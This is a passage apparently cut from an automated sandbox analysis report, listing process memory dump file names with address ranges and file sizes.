                    • memory/4308-314-0x0000000000000000-mapping.dmp
                    • memory/4360-153-0x0000000000417A8B-mapping.dmp
                    • memory/4360-151-0x0000000000400000-0x0000000000439000-memory.dmp
                      Filesize

                      228KB

                    • memory/4360-168-0x0000000000400000-0x0000000000439000-memory.dmp
                      Filesize

                      228KB

                    • memory/4480-259-0x0000000000000000-mapping.dmp
                    • memory/4540-297-0x0000000000000000-mapping.dmp
                    • memory/4548-338-0x0000000000000000-mapping.dmp
                    • memory/4548-341-0x0000000072560000-0x0000000072C4E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4852-305-0x0000000000000000-mapping.dmp
                    • memory/4852-311-0x0000000005050000-0x0000000005151000-memory.dmp
                      Filesize

                      1.0MB

                    • memory/4860-274-0x0000000072560000-0x0000000072C4E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4860-271-0x0000000000000000-mapping.dmp
                    • memory/4860-275-0x0000000000620000-0x0000000000621000-memory.dmp
                      Filesize

                      4KB

                    • memory/4860-337-0x0000000006910000-0x0000000006933000-memory.dmp
                      Filesize

                      140KB

                    • memory/4860-339-0x0000000006A40000-0x0000000006A64000-memory.dmp
                      Filesize

                      144KB

                    • memory/4860-285-0x0000000004FF0000-0x0000000004FF1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4892-107-0x0000000000000000-mapping.dmp
                    • memory/4904-108-0x0000000000000000-mapping.dmp
                    • memory/4916-116-0x0000000070B50000-0x000000007123E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4916-109-0x0000000000000000-mapping.dmp
                    • memory/4916-117-0x0000000000C90000-0x0000000000C91000-memory.dmp
                      Filesize

                      4KB

                    • memory/4916-183-0x0000000006140000-0x000000000614D000-memory.dmp
                      Filesize

                      52KB

                    • memory/4916-181-0x00000000060A0000-0x00000000060A1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4916-178-0x0000000005A00000-0x0000000005AB0000-memory.dmp
                      Filesize

                      704KB

                    • memory/4920-296-0x0000000001140000-0x0000000001141000-memory.dmp
                      Filesize

                      4KB

                    • memory/4920-290-0x0000000072560000-0x0000000072C4E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4920-293-0x0000000000800000-0x0000000000801000-memory.dmp
                      Filesize

                      4KB

                    • memory/4920-313-0x000000000AD10000-0x000000000AD13000-memory.dmp
                      Filesize

                      12KB

                    • memory/4920-300-0x000000000A9D0000-0x000000000A9E1000-memory.dmp
                      Filesize

                      68KB

                    • memory/4920-286-0x0000000000000000-mapping.dmp
                    • memory/5008-277-0x0000000000000000-mapping.dmp
                    • memory/5036-182-0x0000000000000000-mapping.dmp
                    • memory/5076-230-0x0000000000000000-mapping.dmp
                    • memory/5096-336-0x0000000000000000-mapping.dmp
                    • memory/5096-340-0x00007FF9AD8B0000-0x00007FF9AE29C000-memory.dmp
                      Filesize

                      9.9MB

                    • memory/5100-131-0x0000000000000000-mapping.dmp
                    • memory/5116-132-0x0000000000000000-mapping.dmp